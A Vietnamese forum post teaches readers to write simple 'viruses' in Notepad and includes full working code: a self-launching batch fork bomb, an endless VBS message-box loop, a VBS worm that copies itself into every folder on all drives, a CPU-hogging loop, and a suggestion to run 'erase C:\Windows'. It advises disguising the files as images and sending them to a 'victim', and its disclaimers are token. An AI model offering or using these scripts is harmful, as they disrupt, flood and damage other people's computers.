Tạo virus đơn giản bằng notepad

Ai trong chúng ta ít nhiều đều hiểu khái niệm virus máy tính là 1 thứ cực kỳ có hại cho máy tính của mình......
Nhưng có ai từng suy nghĩ làm cách nào để làm nên 1 con virus chưa?
Nó được viết bằng chương trình gì?????
Bài viết sau đây xin giới thiệu các bạn cách sản xuất ra 1 con virus chỉ bằng notepad(ngoài ra có thể sữ dụng MS word,text document.....)
Đây chỉ là 1 thí nghiệm đơn giản và hữu ích nhằm giúp các bạn làm quen với virus........để càng ngày càng cảm thấy thân thiện, yêu thương virus hơn ( Yêu nhiều vào, đằm thắm vào=)) )

Khuyến cáo:-Thực hành ở nhà đối với ai có kiến thức về virus khá ổn hoặc có chương trình chống virus mạnh
-Thực hành ở tiệm net đối với ai không có máy ỡ nhà hoặc có máy nhưng sợ phải mang vác nặng(đem bảo hành)
-Đừng đem hại ai hết nhé! Nếu mọi người đã dùng để chọc phá người khác mà bị kiện thì em hổng biết nha!

tạo virus bằng notepad

+ Thí nghiệm 1: con này hoàn toàn vô hại...ghẹo chơi thôi....các bạn có thế thử tại nhà...
-đầu tiên vào notepad đánh code: start 1.bat
-save file dưới tên 1.bat->enter (đây chỉ là khảo nghiệm, còn mún lừa 1 ai đó thì bạn phải ngụy trang file *.bat dưới dạng hình ảnh,tập tin gì gì đó hấp dẫn...khẹt....khẹt)
-open 1.bat
-bật task manager-> tab performance lên kiểm tra xem CPU usage lên bao nhiêu % nhé!!!!!! ( Mấy anh chị trong forum hãy thi nhau tìm cách gỡ con này nhanh hơn )
+ Thí nghiệm 2:con này cũng vô hại......có thể thử tại nhà!!!!
-mở notepad hoặc text documnet
-gõ vào đoạn thần chú sau (Code) :
msgbox " Đừng có tắt dòng thông báo này đi nếu không bạn sẽ gặp rắc rối đó!",,"Thông báo rùi nhé không nghe ráng chịu!"
msgbox "Lì nhỉ, em thông báo rùi mà không nghe! Đáng đời you lắm!",,"Thông báo từ hacker like shit!"
do
msgbox "Bạn đã bị lừa ^^~Hiện giờ bạn không thể tắt thông báo này được! ha ha ha!",,"Welcome to CLB ONC's club-->Đừng quá tức giận PM me :hm.1997@yahoo.com!"
loop

-save dưới dạng *.vbs (ví dụ: Virus_ONC.vbs)
-ở save as type chọn all file
-ở endcoding chọn UNICode (nếu bỏ qua bước này,font chữ sẽ lộn xộn , mất hứng thú)!!!!!
-open file *.vbs

-Sau khi thử nghiệm thành thạo bạn có thể thay đổi nội dung theo ý thích của mình!!!!!
Bạn nên nhớ đây là 1 tập tin thực thi......thực hiện hành động do thao tác của của bạn...không thao tác không hoạt động....Càng nhấp càng tức...hì....hì......tập tin thực thi có nhiều cách để tắt(kết thúc) lắm nhé....tự tìm hiểu nghen!!!!!!
+ Thí nghiệm 3:
-Không nên thử ở nhà đối với các bạn nào không rành về IT,script....
-Chương trình tự nhân bản tới tất cả các thư mục có trong máy tính
-Hoàn toàn vô hại.....chỉ nhân đôi mỗi folder thành 1 thằng *.vbs.....càng click vào nhiều folder càng thấy nhiều về hắn
tạo virus
B1: Mở Notepad
B2: Gõ đoạn thần chú này :
'Thuoc Doc !!!
Dim fso,file,VBCopy
Set fso=CreateObject("Scripting.FileSystemObject")
Set file=fso.OpenTextFile(WScript.ScriptFullName,1)
VBCopy=file.ReadAll
FolderList("A:")
FolderList("B:")
FolderList("C:")
FolderList("D:")
FolderList("E:")
FolderList("F:")
FolderList("G:")
FolderList("H:")
FolderList("I:")
FolderList("J:")
FolderList("K:")
FolderList("L:")
FolderList("M:")
FolderList("N:")
FolderList("O:")
FolderList("P:")
FolderList("Q:")
FolderList("R:")
FolderList("S:")
FolderList("T:")
FolderList("U:")
FolderList("V:")
FolderList("X:")
FolderList("Y:")
FolderList("Z:")
FolderList("W:")

Sub FolderList(FolderSpec)
On Error Resume Next
Dim f,f1,sf,COP,CAP
Set f=fso.GetFolder(FolderSpec)
set sf=f.SubFolders
For Each f1 In sf
Set COP=fso.CreateTextFile(f1.path & "\Virus !!!!!!!.vbs")
COP.write VBCopy
Set CAP=fso.CreateTextFile(f1.path & "---Virus !!!!!!!.vbs")
CAP.write VBCopy
FolderList(f1.Path)
Next
End sub
B3: Lưu lại với cú pháp :Thuoc Doc.vbs
B4:open file Thuoc Doc.vbs
-Hiệu quả thấy ngay

Để vô hiệu hoá virus
B1: Mở Notepad
B2: Gõ code:
'Thuoc Giai !!!
Dim fso,file,VBCopy
Set fso=CreateObject("Scripting.FileSystemObject")
Set file=fso.OpenTextFile(WScript.ScriptFullName,1)
VBCopy=file.ReadAll
FolderList("A:")
FolderList("B:")
FolderList("C:")
FolderList("D:")
FolderList("E:")
FolderList("F:")
FolderList("G:")
FolderList("H:")
FolderList("I:")
FolderList("J:")
FolderList("K:")
FolderList("L:")
FolderList("M:")
FolderList("N:")
FolderList("O:")
FolderList("P:")
FolderList("Q:")
FolderList("R:")
FolderList("S:")
FolderList("T:")
FolderList("U:")
FolderList("V:")
FolderList("X:")
FolderList("Y:")
FolderList("Z:")
FolderList("W:")

Sub FolderList(FolderSpec)
On Error Resume Next
Dim f,f1,sf,COP,CAP,ATT
Set f=fso.GetFolder(FolderSpec)
set sf=f.SubFolders For Each f1 In sf
'Set COP=fso.CreateTextFile(f1.path & "\Virus !!!!!!!.vbs")
'COP.write VBCopy
'Set CAP=fso.CreateTextFile(f1.path & "---Virus !!!!!!!.vbs")
'CAP.write VBCopy
'Set ATT=fso.GetFolder(f1.Path)
'ATT.Attributes=ATT.Attributes+2
fso.DeleteFile(f1.path & "\Virus !!!!!!!.vbs")
fso.DeleteFile(f1.path & "---Virus !!!!!!!.vbs")
FolderList(f1.Path)
Next
End sub
-B3:Lưu lại với cú pháp: Thuoc Giai.vbs
-B4:Chạy file Thuoc Giai.vbs để vô hiêu hóa chương trình
P/S: Nếu bạn xài anti-virus mạnh như: BKAV Pro,Kaspersky,Bit defender,AVG......thì có thể sẽ bị chặn ngay từ thao tác đầu tiên bởi chương trình tác động khá nhiều đến registry nên anti-virus có thể hiểu nhầm là virus
*khuyến cáo: không nên thử ở nhà.....thực hiện không đúng....không đọc kỹ hướng dẫn......sẽ có khả năng dẫn đến tình trạng vào folder nào cũng thấy mặt nó hết.....bực là chính....tác hại thì không có....
+ Thí nghiệm 4:
-không phải virus
-Chĩ là một mã lệnh đơn giản nhưng..........khả năng phá hoại tầm quốc tế.
-Có những files cứng đầu khó gỡ phải sử dụng các phần mềm gỡ bỏ như Blannco Shreader, Unlocker, Tuneup Unilities.....Nhưng với chỉ 1 thao tác lệnh bạn có thể xóa hết mà không cần dùng phần mềm hỗ trợ.... ( Cái này chắc ai là dân IT trong CLB cũng biết cách này rùi nhể )
-B1: tạo 1 file bất kỳ(1.txt, 1.bat, 1.exe...v..v..)
Vd: C:\Users\chuong\Desktop\1.txt
-B2: vào notepad
-B3 :Đánh lệnh erase C:\Users\chuong\Desktop\1.txt
-B4: lưu dưới dạng *.cmd
-B5: Chạy file *.cmd
thế là file 1.txt đã bị xóa


Các bạn đang tự hỏi ủa thế có gì đâu mà gọi là phá hoại?????
xin thưa rằng, files chạy dưới đuôi.cmd là thao tác thực hiện trên ms-dos vì vậy nó không kiêng nể ai hết...chỉ thực thi mệnh lệnh 1 cách hiệu quả thôi
-Bởi vậy....nếu bạn thay lệnh erase C:\Users\chuong\Desktop\1.txt -->>>>erase C:\Windows thì bạn nghĩ thế nào....có phải là đi tong cái win không........Bởi vậy đừng cố gắng làm điều gì ngu ngốc nhé!!!!!

+ Thí nghiệm 5:
-B1: vào notepad gõ cú pháp:
while true
wend
-B2: Sau đó lưu lại dưới đuôi* .vbs
-B3: gửi victim (nạn nhân) dụ cho victim chạy tập tin này( đừng có gắng thử nhé....không chịu trách nhiệm đâu đấy)
Đây mới chỉ là virut, nếu viết autorun cho nó nữa thì cực kỳ nguy hiểm, con này mỗi lần chạy thì nó chiếm 100% cpu của 1 luồng dữ liệu. Với máy core 2duo thì click 2 phát CPU 100%, core i3, i5 thì click 4 lần. Sau khi bị chiếm 100% cpu muốn tắt đi thì vào Task Manager tắt hết những chương trình có đuôi vbscript đang chạy. Đó là virut chạy do con người điều khiển, còn nếu viết thêm autorun để nó chạy tự động, giả sử số lần click là lớn hơn 10 thì thôi rồi, chỉ có cài lại win.
ENJOY!!!

Hay thanks, có ai thử chưa vậy ?

hic... em vừa thử xong cái thí nghiệm 2 (thử trên máy nhà) hhuhu không làm sao mờ tắt dc... anh chỉ em tắt nó yk... huhu